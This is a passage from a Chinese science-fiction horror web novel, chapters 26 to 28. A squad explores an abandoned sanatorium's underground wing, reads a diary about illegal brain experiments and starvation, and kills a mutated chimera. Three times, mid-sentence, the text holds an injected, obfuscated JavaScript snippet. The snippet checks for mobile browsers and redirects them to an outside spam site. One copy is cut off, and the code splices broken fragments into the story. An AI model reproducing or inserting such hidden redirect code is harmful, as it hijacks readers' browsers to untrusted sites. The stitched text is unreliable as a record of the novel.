李明岐:“不好说,我俩在隔壁,醒来的时候就我和银狼两个人,走廊上还有一排房间,说不定前面有其他人。” “你和银狼谁先醒的?”林洗练忽然问道。 李明岐指指银狼,“他,然后一巴掌把我扇醒了。” “那肯定是你睡得太熟。”林洗练为银狼开脱,“不像我们,都是自己醒过来的。” “拉到吧。”李明岐不服,“就银狼在外面砸门那动静,猪都能被叫醒了。” “啧,不太正常。”陈一斯摸摸下巴,“我联合武装出身,不可能在陌生环境下睡这么死,李明岐你一个军校的,又是集市上的金牌打手,怎么说也不会放松警惕到要被人扇巴掌才能醒的地步吧?” “除非……” “魇住了?” 林洗练搓了搓胳膊,“半夜起来发现自己挪了个窝已经够恐怖了,就不要再自己吓自己非要往灵异鬼怪上想了。” “你还有更好的解释吗?”李明岐耸肩,“宏树疗养院本来就闹鬼,洪哲不是说这儿是阴宅吗,也许我们就在死人住的病房里。” 不管是死人病房还是活人病房,都得想办法出去。四人先查看了两个“出生点”房间,一大一小,都是空空荡荡,除了张床没有任何可以探索的东西。 李明岐:“到底是什么鬼地方,芯片都追踪不到,联系不上申队他们。” 林洗练:“你刚刚不还阴宅闹鬼呢?这么快就转战物理驱魔了?” “我们要抱着严谨的态度考虑每一种可能。” 走廊上的灯忽明忽暗,照着左右两排铁门反射阴冷的光,大部分房门的电子锁都坏掉了,也有些手动上了应急锁。 银狼不知道是起床气还是怎么,这会儿显得格外暴躁,碰上房门紧闭的,直接上脚踹开。 李明岐揉了揉耳朵,“声音这么大,早晚把什么东西招来。” 林洗练摸索着打开灯,“你盼点好吧。” “这地方有电就稀奇。”陈一斯推开堵在房门口的柜子,刚探进去半个身子,突然低骂了一句。 “那床上躺了个人。” 准确来说,是一具尸骨,四肢完整,看起来死得比较祥和。 李明岐看看骨头,又看看门口的柜子,“他干嘛把自己锁在房间里?” 林洗练一愣,忽然浑身起鸡皮疙瘩,“李明岐,你真是乌鸦嘴。” 锁门加堵门,除非外面有什么可怕的东西,不然谁会宁愿把自己关死在房间里? 而刚才李明岐说,踹门声音太大,指不定要招来什么东西。 银狼动作粗鲁地扯开被子,露出被尸水浸染又干结的病号服,“红白条纹。” 宏树疗养院的行为准则——本院病人病号服统一为蓝白条纹,没有红色,如果你发现了红白病号服,请立刻离开并上报,不要试图与穿着它的东西交谈。 “我有一个猜测。”李明岐伸出一根手指。 林洗练:“讲。” “有没有一种可能,我们撞邪了,疗养院行为准则里所谓的红色工作服和病号服,是在暗示这座医院有鬼,而我们现在所在的,就是洪哲口中住死人的,另一个世界的‘阴宅’。” “好的闭嘴吧。” 四人简单搜索了一下这个房间,没有发现更多线索。正准备离开时,银狼忽然像是想到了什么,“别出心裁”地俯身朝床下看了一眼。 “有字。” 林洗练弯下腰,打开手臂上设备的照明功能,探头朝黑暗中看去,那破烂床板下居然遍布密密麻麻的“血书”。 “逃!” “快逃!” “离开宏树!” “一定要离开!” “不要忘记! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047470|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” …… 陈年的血字早就氧化成了酱色,其中有些像是指甲生生抠出来的。林洗练拍了张照,仔细看着,眉宇渐渐皱起。 “逃出疗养院……你们记不记得何余拍的洪哲发疯那个视频里,他胳膊上刻了‘逃出宏树。” “或许有什么关系?”李明岐沉吟,“洪哲来过这里?” 林洗练:“这些字迹的笔记不一,这么多人,在提醒谁逃出疗养院?” “难道是,我们?”陈一斯打了个寒战。 众人脸色一变,林洗练下意识看了银狼一眼,却发现对方并没有什么反应,仿佛压根不在意他们的对话,只是直勾勾盯着房间里那张病床。 银狼眼中有明显的血丝,在这阴冷的灯光照射下显得眼神亢奋又僵硬。 正当四人准备离开时,银狼忽然又一次俯下身看向床底,顿了两秒整个人钻进了去,伸出手,在床板上一下一下地抓挠。 指甲摩擦的尖锐声让人莫名紧张,面前这床上躺一具尸体,床下躺一个活人的画面也让人头皮发麻。 银狼很快爬了出来,绕床走了一圈,又忽然坐下,伸手抓过床头的枕头,直接一刀撕烂,从里面掉出一张泛黄的纸条。 银狼捡起来,上前两步,递给林洗练。 林洗练试探着接过,拆开。纸张并不大,零零碎碎写了十几行字。 一开始是自我介绍,姓名,身份,家庭,工作单位,都写得清清楚楚,接着变成了一连串的“逃”,然后是几个气愤到划破了纸背的“逃不掉”,后面是对宏树疗养院的谩骂,但纸张主人写到这里似乎不是很清醒了,字迹潦草不说,逻辑也很混乱。 笔记最后停留在一句“我是谁”,这句话被写了五六次,旁边还有散乱的问号。 陈一斯懂一点笔迹鉴定,“最后这几句‘我是谁’应该不是一次性写下来的。” 李明岐:“什么意思?” 林洗练反应过来,“你是说,这笔记的主人到最后甚至不知道自己是谁了,只能重复抄写这句话,比对字迹才能确认这张纸是自己写的?” 陈一斯点点头。 四人又查看了几间病房,这里尸体很多,基本都是红白病号服的病人或者红色工作装的医生。 不少人把自己单独困死在一间屋子里,甚至害怕到把柜子病床都抵在门口,自己缩在角落里慢慢等死。 李明岐纳闷,“外面到底有什么东西?” “不管是什么,都比死还可怕。”陈一斯道,“困在房间里必死无疑,可就算这样,这些人都不愿意冲出去放手一搏。” “为什么这些人……都选择单独困在一个房间?”林洗练疑惑。 如果是为了躲什么东西,人多力量大,大家集中在一起想办法不是更好吗? 李明岐眼神闪了闪,“也许是,他们当时已经无法分辨出,身边的同伴是敌是友。” “一个混在人群中的……‘东西’吗?”陈一斯皱眉。 退出病房,众人继续摸索着前进。走廊的应急灯估计是因为电压不稳时不时频闪两下,瞬时的黑暗让人不自觉绷紧神经。 李明岐忽然扯了林洗练一下,冲她使了个眼色,两人脚步落后两拍。 “银狼状态不对。” 林洗练眯了眯眼。这还用李明岐说?正常人谁趴在床底下扣床板?情景重现也不用这样。 李明岐:“他怎么知道床下有字,枕头里还有纸条。” “或许,是巧合?”林洗练迟疑。 “你别忘了,病房里那些人死前可是连同伴都无法相信了。” 林洗练,“你和银狼一个房间出来的,如果他不能相信,那你怎么说?” “我至少没有行为举止怪异,而且性情大变。” 前面又是一个锁死了的房间,门牌上写的是“档案室”,应该是个值得重点探索的地方,不等陈一斯反应,银狼直接抬脚踹开了房门。 用来抵门的文件柜应声倒地,房间角落里躺着一具尸骨,旁边的墙上写着一行血字: “有人不对劲,它混在我们当中。” 看见这一句,林、李、陈三人不约而同对视了一眼。 李明岐挑眉,突然反身,起手直攻银狼命门! 26. 【规则疗养院】人体实验 琢尔睁开眼的时候,别墅里静悄悄的。 她晃了晃头,感觉昏昏沉沉,待双眼聚焦,才看清不远处守夜的两个队友,头栽在地上睡得四仰八叉。 琢尔猛一激灵。 她一脚踹醒身边的人,一手拍一张脸喊众人起来。 申队被叫醒时也心下一沉,野外拾荒这种脑袋提在手里的活,再累也不可能睡死过去,何况昨晚还专门留了人守夜。 一定有什么变故。 清点人数,队伍里少了四人,通讯设备也联系不上。陈不苟整个人懵了一下,立刻跟申队说要出去找人。 申队:“分组行动,大家尽量结伴,不要落单,发现线索立刻联络。” 别墅里空落下来,琢尔的设备发出滴滴的声响,提示洪哲电脑的所有数据均修复破译完毕。 他最后的网络活动停留在社交软件,是往家庭群里发的消息: 【洪哲】:反正我已经打算辞职了,就等我把攒的带薪假休完,到时候咱家出国旅游,去小岛度假,酒店我都看好了。 【妹妹】:那哥哥你早点回来,我快放暑假啦。 【洪哲】:好。 …… 【洪哲】:这疗养院,我感觉不对劲。 【妈妈】:怎么了儿子,住不惯吗? 【爸爸】:早让你回家吧,也不是非得占公司那点福利。 …… 【洪哲】:不对劲传闻真的可能确实现在的比那些 【洪哲】:刻字经常看忘记疼不出第二次实际不记得床头也许就在这 【洪哲】:看见冲撞了我的拜过怎么想办法肯定有用对对对的吧 【妹妹】:哥哥你按到手机了,发了一堆乱码。 【洪哲】:没事。 …… 【洪哲】:不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲不对劲 (发送失败) …… 【洪哲】:有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼有鬼 (发送失败) …… 【洪哲】:逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃逃 (发送失败) …… 【洪哲】:妈,我好像,回不去了。 (发送失败) - 对于李明岐的出招,银狼反应极快,胳膊一卡挡过一招,抬腿直接朝对方胸口踹。 林洗练惊呆了,手忙脚乱上去拉人,“不是你俩哪句话没说明白?怎么忽然就动手?” 李明岐蛇皮走位期间抽空答她,“你刚才不是也跟我说,觉得银狼不对劲吗?” 话音落,林洗练感觉银狼偏头看了自己一眼,不是记仇也不是生气,非要说的话,有点,不可置信? 这种背后说人坏话被抓包的感觉…… 林洗练头皮发麻。 “不对劲有很多种可能,哪种要你直接动手了!?” “万一眼前这个,已经不是人了呢?” 李明岐分心答这一句,让银狼逮到了破绽,拳峰破空而来,撞上胸腔的声音听着就让人心颤。 李明岐捂着胸口咳嗽后退,陈一斯趁机上前按住了银狼。 林洗练去扶李明岐,“你说你招他干什么?又挨揍了吧。” 李明岐顺了顺气,嘟囔一句“比上次在训练场还狠”,抬起头,扬眉示意,“看出来了?” 陈一斯拧着眉点点头。 林洗练还在状况之外,“看出……什么了?” 陈一斯:“队长没有使用植入设备,没有打出真正见血的招式,但是每一招的力度,足以致命。” “什么意思?” “就是说,他并不想杀我,只是因为我突然攻击,他不得不自卫。”李明岐直起腰,探究道,“但是,他控制不好自己的力度,刚才那一拳,如果不是我躲得快,我这肋骨怕是已经碎了。” “失控?”林洗练不解,“为什么?” 被陈一斯按住的银狼似乎已经冷静下来,他盯着林洗练扯住李明岐的手,慢慢走了过来。 李明岐下意识挡上前,银狼的目光越过他,落在林洗练身上,有点生硬地吐出两个字,“别怕。” 李明岐翻了个白眼,敲敲自己胸,“你还是问问我怕不怕吧。” “队长这个状况,我好像见过。”陈一斯想起了什么,“有次我们潜入佣兵的地盘执行任务,队长为救人假意被俘,那些佣兵给他注射了成瘾性的谜幻药,结果半小时后,队长一路杀进了佣兵头子的老窝。” “等等等等。”李明岐打手势,“我捋一捋啊,你是想说,银狼把谜幻药当兴奋剂磕?” “不。”陈一斯摇头,“这是武装部队中精锐人员接受的一种训练,为了保证在野外的存活率,他们必须对各种药物产生抗性,而且后来队长的神经回路被动过,皮下埋有医疗装置,一旦监测到生命体征异常,就会释放辅助药物,促使主体保持清醒。” 清醒到甚至亢奋。 “所以银狼现在的暴躁,冲动,自控力倒退,都是受训练加药物产生的自卫机制影响?”林洗练总结。 陈一斯:“站在唯物主义的角度,我只能想到这一种解释,站在唯心主义的角度,那就不好说了。” “世风日下,让我们先考虑唯物的事吧。”林洗练果断道,“既然银狼的亢奋是被动反应,那也就是说,有人给他注射了谜幻药?” 李明岐:“或者是类似的药物。” 陈一斯:“队伍里有卧底?” 李明岐:“谁的?一家荒废了几十年的疗养院的?” “我觉得应该不止银狼一个人中招。”林洗练想到什么,看向陈一斯,“还记得我们刚醒来的时候吗?混乱,昏沉,恍惚了好一阵才恢复意识,我们可能也被下药了。” 陈一斯:“能同时接触到我们四个人的,除了队里的人,还有谁?” 李明岐:“我担保木山杨的人都是可靠的,何况,也许不止我们四个被扔到了这个地方。” 林洗练:“如果不是人为,那……” 陈一斯皱眉,“这地方不对劲。” 还有一个问题,银狼的暴躁冲动可以用药物反应解释,可刚才那些在病房中的诡异举动呢? 没了头绪的三个人开始在档案室内翻找。这地方有电脑,陈一斯本想扫荡一番,可拆出储存盘才发现都被格式化了,删得干干净净,跟新出厂的似的。 “看来电脑里的东西很重要啊。”林洗练道,“在那种紧急程度的轰炸下都要全部删除。” 李明岐:“也可能是提前通知了呢,这个秘密医疗区的等级看起来不低,说不定比行政楼那些办公室的权限要高。” 林洗练:“提前通知?你是说困死在病房的那些尸体也被提前通知了?” 没有数字信息那就只能看看纸质了,现实中可没有一键删除,成排的柜子里稀稀拉拉遗落了不少文件,撤离匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李明岐将档案室的资料收集了起来,带不走的就用随身设备扫描备份。 “先找出口吧,这些都是可以补全旧纪元档案的证据,当然,要有我们有命带出去才行。” 四人退出档案室,外面走廊莫名显得更加压抑逼仄。刚没走几步,突然,银狼猛地回头,死死盯住尽头的昏暗处,表情警觉。 林洗练:“怎么了?” 银狼皱眉,“有声音。” 声音? 其他三人屏息凝神仔细听。 一开始不显,可慢慢的,走廊深处似有一两声轻微的摩擦音渐渐逼近。 说是逼近也不对,林洗练听声辩位的功夫不深,总感觉那零零碎碎的声音忽重忽轻,让她莫名联想到在南方上大学时,宿舍里闹蟑螂。 南方蟑螂个大会飞,恨不得走路都有声音。有天晚上林洗练迷迷糊糊快睡着时,忽然听见一阵窸窸窣窣的声音就在耳边。 她睁开眼一看,一只黝黑肥亮的蟑螂正从她床位靠着的墙上张扬爬过…… 黑暗中的声音更加清晰,节奏也更加快了些,像是有人在向他们蹒跚靠近。 可突然,那声音一停,接着什么东西从他们头顶的天花板掠过,众人仰头躲闪,却因为灯光昏暗根本看不清是什么。 银狼的臂枪已经滑出,几乎就要追过去,陈一斯却忽然骂了一句,扭过头,一副见鬼的表情。 “我刚才,好像看到洪哲了。” 27. 【规则疗养院】谁是鬼 李明岐一脸古怪:“你确定你没看错?” 陈一斯摇摇头,越发肯定,“不会错,那张脸就是洪哲。” 林洗练琢磨了一下,“难不成当年他活下来了?” 陈一斯:“就算活下来,现在也得有近一百岁了,但刚才那张脸,和之前咱们在名册还有视频录像中看到的没有什么区别。” 林洗练也觉得匪夷所思,刚想开口,一阵低喃忽然从走廊尽头的黑暗中传来,像是什么人在窃窃私语: “不对劲,不对劲,不对劲……” “有鬼,快逃,有鬼,快逃……” 陈一斯:“这声音……” 李明岐知道他想说什么,“像不像洪哲?” 他们在何余翻录的那段视频中听过两句洪哲的喊声,可年代久远背景嘈杂,音频到底有些失真。 银狼不管这那,目光一凛,直接拍板,“追。” 那声音走走停停,像在有意等他们。有两回确确实实感觉追上了,甚至林洗练他们都看到了一闪而过的侧脸,真就是洪哲,可下一秒,声音又倏忽飘远。 李明岐对上那张脸时,明显愣了一线。 他本能觉得不舒服,洪哲的脸给他一种变形拉伸感,目光,神色,甚至是肌肉的走向都让他觉得吊诡。 “逃不掉,逃不掉,逃不掉……” 众人追着声音跑过两个转角,忽然,那声音戛然而止,整个走廊安静得有些让人发毛。 “这个病房区,好像跟那边的不一样。”李明岐四处张望。 确实,这边的条件似乎好一些,单人单间,有像样的家具,大概是因为这样选择在这里避难的病人才更多,几乎每个房间都有尸体。 “这间没有。”陈一斯推开一扇虚掩的门,“还挺干净。” 比起其他房间满地血迹和尸骨,这里确实要干净许多。林洗练转了一圈,在床头捡到了一个文件簿。 李明岐:“这是什么,病例?” 说是文件簿,其实就是生锈的夹子夹着一摞废纸,正面是一些实验数据,有人用背面写字,像是日记。 【现在应该是八月,具体几号我不清楚,就算十号吧,后面方便记录。 醒来时我被关在病房,走廊外有医生,他们说宏树疗养院遭遇了轰炸袭击,地面不安全,这里是地下医疗区,让我们待在病房中安心等待救援。 我不记得我和宏树疗养院有过什么治疗协议,我只是个工程师,来这里休假疗养的,我根本不应该出现在医疗区,更何况还是地下。 对面病房里的人捶着门问他为什么在这,医生没有回答。】 【8月12日,地下医疗区停电了,一位叫凯尔德的主任医生说轰炸炸毁了地面出口和紧急通道,土石封死,我们暂时被困在这儿了。他为这座监狱制定了临时规则,医生每日分发两餐,应急照明灯每日打开五分钟。】 …… 【8月22日,医生分发的食物越来越少,我和对面病房的兄弟敲碎了铁门上的玻璃窗聊天,他不相信医生的说辞,觉得那群人肯定占据了不少食物和资源。】 【8月31日,今天我只领到半个面包,对面兄弟因为抱怨了一句食物越来越少而连半个面包都没有了,这事不能细想,凭什么这群医生能把我们锁在病房里?】 …… 【9月3日,有‘病人’带头起义了,据说是东边集体病房里的人,他们人多力量大,想办法把铁门卸了……这地下医疗区的面积比我想象中要大得多。】 陈一斯:“原来这里是地下。” “看样子,这儿曾经上演过一场夺权的大戏。”李明岐弹了下文件夹,纸面上的灰尘都跟着一颤。 林洗练:“据日记主人的自述,他是莫名其妙出现在这的。” 银狼:“‘病人’都被关了起来。” 陈一斯:“有点像我们的‘初生’状况。” 李明岐“嗯”了一声,往后翻了翻纸,“接下来都是写‘病人’怎么‘改朝换代’的,医生们被关了起来,病人可以自由活动,他们之中很多人都不知道自己是怎么到这个地下医疗区的,宏树疗养院八成涉及非法拘禁。” 【9月5日,食物越来越少,我们投票决定削减医生们的配额,真是造孽。】 【9月8日,有个叫小恩的年轻医生,看起来和我弟弟差不多大,他饿晕过去了,我悄悄把我的食物分给了他。】 …… 【9月12日,我和小恩医生渐渐熟悉起来,他说自己是这个医疗区最底层的医生,或者都不算医生,只是辅助做医学记录的,刚入职没多久碰上这种事,简直是倒霉到家。 我问他知不知道‘病人’们都是怎么来到这的,他说只知道病房每天有机器定时运送‘病人’到地下,再定时运回去,其他的事,不是他这个级别的工作人员能接触到的。】 “等等,机器运送?”林洗练皱眉,“难道我们也是这么来的?因为被下了药,所以一点感觉都没有?” 李明岐:“什么机器三四十年无人维护还在运转,地上那个疗养院连电都没有。” “这就是我们跟他们最大的不同了。”陈一斯指指天花板上的灯,“那群病人医生被困的时候,连应急灯都只能每天开五分钟,我们现在,电力畅通无阻啊。” “要么是有人后来修好了电源。”林洗练沉吟,“要么,当初电源根本就没坏,这里是被故意断电的,就是要困死这里的人。” 【9月13日,我想不通,如果我们这些‘病人’是每天被机器运送到这里的,为什么大家一点印象都没有? 小恩医生给我说了一个各种生僻字组成的药物名称,音节我没太记住,他说是一种神经毒素,从某种蕈类中提炼出的,这种未经审批的药物能够作用于人脑的神经元活动,破坏新形成的突触,从而抹杀短期记忆。】 【9月16日,小恩医生自杀了。 我早该意识到的,他曾跟我说他对救援根本不抱希望,不会有人来的,我们注定要被困死地下。 他没有勇气活到同类为了有限的资源挥刀相向的那一天,他选择提前退出。】 …… 【9月22日,食物见底了,最后那点东西被大家抢夺瓜分,身强力壮往往在这时候更占优势…… 没人在意病房里关着的医生,据说今天又自杀了两个,剩下的崩溃的崩溃,绝望的绝望,可能是终于意识到,也许根本没有救援,即使他们是宏树疗养院的医生,现在也跟我们这些受骗的“病人”一样被抛弃了。】 【9月25日,我决定用最后一块饼干跟一位看起来职级不低的医生交换秘密,我很饿,但我想做个明白鬼。 医生狼吞虎咽地吃完饼干,说这里实际是个实验室,许多入住宏树疗养院的度假人员都是他们的实验对象,晚上被送来,白天被送走。 我问什么实验,他说太多了,每个医生手下的项目资料都是机密,单他负责的,有精神控制实验,人脑介入实验,他回光返照一般兴致勃勃地跟我说了好一通他的实验成果,什么植入意识,交感体验,我觉得翻译成洗脑或许更好理解。】 “果然是在做人体实验。”陈一斯了然。 李明岐:“准确的说,是人脑实验。这些被抓来的‘病人’白天都要完好无损地送回去,他们只能被用来做脑部实验。” 林洗练:“洗脑这种的东西,居然还有人在研究?” “我们的日记工程师理解得太狭隘了。”陈一斯道,“这些人脑实验应该是为了研究深度虚拟现实,数字世界中,1和0就能创造出无限的资源,而想要这样随心所欲的世界对接人脑,就需要研究清楚意识思维到底是个什么东西。” 那时候的人类社会想象力旺盛,虚拟游戏,梦境体验,科技巨头们都相信这是下一个风口行业,不计手段地想要抢先市场。 结果,一场天灾拉增强了现实引力,人类对数字世界的构想,一下就被扯到了地上。 林洗练: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117146|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宏树疗养院也太明目张胆了吧,他们就不怕万一闹大,东窗事发?” “嗯……工程师先生也是这么问的。”李明岐点点文件簿。 【我不相信他们干非法实验从未失手,可医生告诉我宏树很谨慎,这么多年只出过一次意外,重建后又制定了更严格的管理措施。 宏树在人脑方面的研究成果斐然——扰乱一个人的思维,让他成为废物,植入一段思想,让你辞掉工作一辈子都想住在疗养院……他们有很多阴谋阳谋,解决任何潜在危机。 医生说地下这些只是冰山一角,地上的医疗中心,那才是真正可怕的东西。 饼干没了,我得行办法找点吃的。】 “意外,重建?”林洗练抓住关键词,“说的会不会就是传闻中那场屠杀和火灾?” “有可能。”陈一斯“啧”了一声,“这些人脑实验都把人折磨疯了,疯子什么事干不出来?” 林洗练想起他们之前收集的员工守则,其中一条说别墅区的顾客都是体面人,如果发现有人脾气古怪,一定要避开并上报。 “这么看是早有预备,宏树知道人脑实验会把人逼疯,索性堵死求救渠道,上报更是方便他们及时处理,就像抓住想要逃跑的洪哲一样。” “一定还发生了什么事情吧?”陈一斯猜测,“比如,为什么那么多人选择把自己困死在房间?” 【9月26日,我太饿了,找不到食物,只能吃通风口爬进来的虫子。 一些幸存者开始抢尸体,我闻到他们身上熟肉的味道。 他们看我的眼神,有点期待。】 【9月28日,我吃了更多的虫子,它们的壳很硬,虫足甚至划伤了我的喉咙,但是没办法,我太饿了。】 【9月31日,今天吃了一只老鼠。 活着的人不多了,没人知道我的食物来源……没人愿意吃、、、、 我。】 【9月10月2日,有人失踪了,这很重要,饿死了得有尸体,失踪……是找到方法逃出去了吗?】 【10月5日,又有人失踪了,那伙人翻遍了医疗区也没找到。 一只食物丢了,他们很上心。】 【10月7日,只吃虫子还是不够,我饿得照镜子都快认不出自己,身上到处能摸到突出的骨头。】 【10月8日,有人疯了,把自己锁在单独的病房中发癔症,见人靠近就会崩溃喊叫,他说自己看到了之前的失踪者,可那是鬼,要吃他。】 【10月8日,又有人看到了失踪者,他也疯了,宁愿坐在尸体堆也不靠近活人。】 【10月8日,有东西在我们之中。】 【10月8日,饿、、、通风口有食物。】 【10月9日,谁也不能相信。】 【10月13日,都死了。】 空白页 空白页 空白页 【我是鬼。】 最后三个字映入眼帘,林洗练汗毛倒立。 “什,什么意思?” 陈一斯迟疑:“他就是混在人群中的那个东西?” 那个让幸存者对彼此防备,宁愿困死在房间都不愿面对的怪物? 李明岐:“那些失踪者,是被他……吃了?” 银狼:“不止失踪者,是所有幸存者。” “这本日记,这本日记……”林洗练呢喃,只感觉哪里不对,不安和恐惧如潮水倾覆,仿若死神步步逼近。 “日记就摆在这里,那这个房间,这个房间是……” “鬼”的老巢。 “呵呵呵呵呵呵。” 头顶突然传来一阵尖锐的窃笑。 林洗练一激灵,猛地抬头,通风口处倒挂下来一张青灰的人脸,眼珠一只深陷,一只暴凸,瞳孔缩得只剩一个点,嘴角随着附着力微弱的肌肉下坠,几乎开裂到脸颊: “有鬼,有鬼,有鬼……” “快逃,快逃,快逃……” 28. 【规则疗养院】篡权上帝 仿若游戏中的jumpscare,鬼脸洪哲如影魅般倏忽袭来。 它扑向陈一斯的那一刹,林洗脸才看清“鬼”的全貌,像蟑螂又像蛆虫的身体,密密麻麻插满了足节,一双复眼畸形怪异,竟像是不同生物的眼睛集合而成,皮革质的前翅收拢在后背,泛着油污一般的暗光,时不时翁动两下,好像下一秒就要突脸飞来。 陈一斯腰身一扭,顺势打了个滚躲开怪虫攻击。银狼弹出臂刃,刀锋挥向那肥硕身体下成排的虫足,刷得斩出一道缺口。 怪物失了一瞬平衡,向左踉跄歪斜,一直隐在暗中的虫腹露了出来,青灰的底色上遍布诡异的花纹,只一眼就让人头皮发麻。 很快,林洗练就明白为什么虫腹比怪虫本身更让人掉san,定眼看看,那走势诡谲的花纹,竟是一张张模糊了界限可五官却清晰可辨的人脸! 在场四人武器有限,普通枪械对战这种大型变异生物基本毫无胜算,只有靠银狼身上那些植入设备搏一搏。 陈一斯和李明岐开枪吸引怪虫注意,银狼双刃齐挥,以刁钻的角度几乎斩断所有虫足,仅剩的一两根也因为独木难支而被怪虫庞大的身躯压断。 少了足节,怪虫只能在地上蠕动,身躯反复拉长变细又盘踞膨胀,几人抓住时机对准那顶着洪哲鬼脸的头部射击,几乎打成一摊肉泥。 被攻击的“洪哲”口中发出一声尖锐的嘶鸣,紧接着,那张脸,连同整个头部一齐向胸腔收缩,怪虫身躯更加疯狂地变形,隔着肉膜甚至可见一些类似于器官的组织凸起滑动,并发出粘稠而恶心的咕唧声。 李明岐见状攻势越发猛烈,射击距离都渐渐缩短。陈一斯本能觉得不对劲,想伸手拉他,却慢了一步。 一阵撕裂声伴随类人的尖叫炸开,怪虫尾部忽然一分为四,像四条鼠尾一般凌空飞舞,还竖起了密密层层的黑色长毛,散发出一种难以形容的味道。 怪虫猛地振开双翅,那冲击力将离得近的李明岐和陈一斯都撞了出去。翅膀内膜色彩斑澜,覆着一层绒毛,像一堆有色霉菌毫无规则地挤在一起。 与此同时,怪虫胸腔伸出口器,接着伸出一个新的长着人脸的脑袋,和刚才的“洪哲”一样面目青灰,死气沉沉。 陈一斯愣了一下,喃喃:“造物病毒……” 林洗练一怔,想起游戏设定中,初代病毒被称为“创世”,后来许多巨头企业以其为“母体”,尝试引入其他生物基因进行改造,其中一家公司就研制出了被认为是“篡权上帝”的“造物病毒”。 感染“造物病毒”的宿主,通过吞噬其他生物捕获新的基因物质并融合重组,往往进化成超乎人类想象的生物嵌合体。 眼前的怪物,肉眼可见的“基底”就有虫、鼠和人,林洗练推测是那位工程师在吃虫果腹时感染了病毒,并在接下来的变异过程中一点点丧失记忆和神志,吞蚀同类,消化掉基因后,长出同样的脸,继续引诱新的猎物。 就像刚才在走廊,怪物用洪哲的脸一路将他们引到了老巢。 如果是这样,那就可以倒推出两件事: 一,宏树疗养院当年的“恐怖袭击”很可能牵扯病毒泄漏,否则无法解释那些携带病毒的虫鼠。 二,变异的工程师懂得用人脸欺骗,甚至将其演化成了自己的主要捕猎方式,这说明它有一定智慧,甚至可能保有人类思维。 怪虫上下盘旋,那张人脸忽然长大了嘴,大到人类不可能达到的程度,接着发出惊惧的哭泣声:“放过我,放过我……” 求饶,甚至使用人类的发声系统求饶,这或许表明,这个巨大的生物嵌合体虽然外貌与人类毫无相干,可人类基因未必就占弱势。 银狼也是同样的想法,右臂臂刃闪瞬变形,锋利的刀片螺旋排列,高速旋转切割。 “攻击头部!” 一个怪物有思维,就该有大脑,他赌人类基因才是它的基本架构! 怪虫飞在半空,只能用枪远程攻击,可人头大小的目标实在不好瞄准。 李明岐枪法准,可子弹也只能击穿那张鬼脸,就如刚才被打烂的“洪哲”一样,怪虫大可吞入胸腔再换一张,可见,真正的大脑还藏在更深的体内。 林洗练枪法一般,也就不浪费子弹了,边躲边想其他办法,目光忽然落在了病房铁门上。 “出去,把它引到门边!” 众人向外跑,怪虫也从半空俯冲追来,前半边身子直挺挺穿过门框,虫身和尾部毛瘤拍却被墙壁阻拦,合金门框被生生挤压变形。 下一秒,门外的银狼暴起,臂刃变形成的刀钻狠狠入进怪虫那张人脸,深切向下,粘液血浆榨汁一般喷溅,却盖不住利刃搅碎大脑斩断神经的切割声。 怪虫的胸腔成了一滩肉泥,被破损的虫壳夹着,让林洗练莫名想到被咬了一口的流心硬糖。 可即便“流心”了,怪虫依然残存生物反应,偌大的翅膀带动身体向上,尾部四条毛瘤一齐向众人抽来。 怪虫腾空,腹部暴露,电光火石之间,林洗练没有躲,她死死盯着那条人脸密布的肉躯,辨别怪虫刚才“变脸”时体内辗转腾挪的器官组织。 终于,一个跳动着的凸起进入视野,林洗练神色一变,“第三排牙齿脱落的脸,眉毛左边,是心脏!” 话音落,银狼又一次蹬墙跃起。走廊较屋内狭窄,受了重伤的怪虫已然是飞不高了。银狼收拢臂刃,右拳覆上一层机械装置,莹蓝色的光在空中模糊成影,那寸劲击中怪虫心脏时,蓝光炸成电流,瞬间散射开来。 心脏停摆,怪虫终于再难动弹,直直跌落在地,给地面砸出一个浅坑。 陈不苟看着那恶心吧啦的尸体,半天才回过神: “这玩意儿,长得还真是……超乎想象。” 林洗练拍了拍身上的土,“有时候,丑也是一种武器。” 这怪虫的攻击力其实并不如同体积的巨型变异生物,但它诡异的外表着实可怖,精神污染下,人的本能反应是逃离,而这地方逼仄狭窄,多重压力袭来,人很容易慌乱崩溃。 之前那些幸存者,大概就是这么被“捕杀”的。 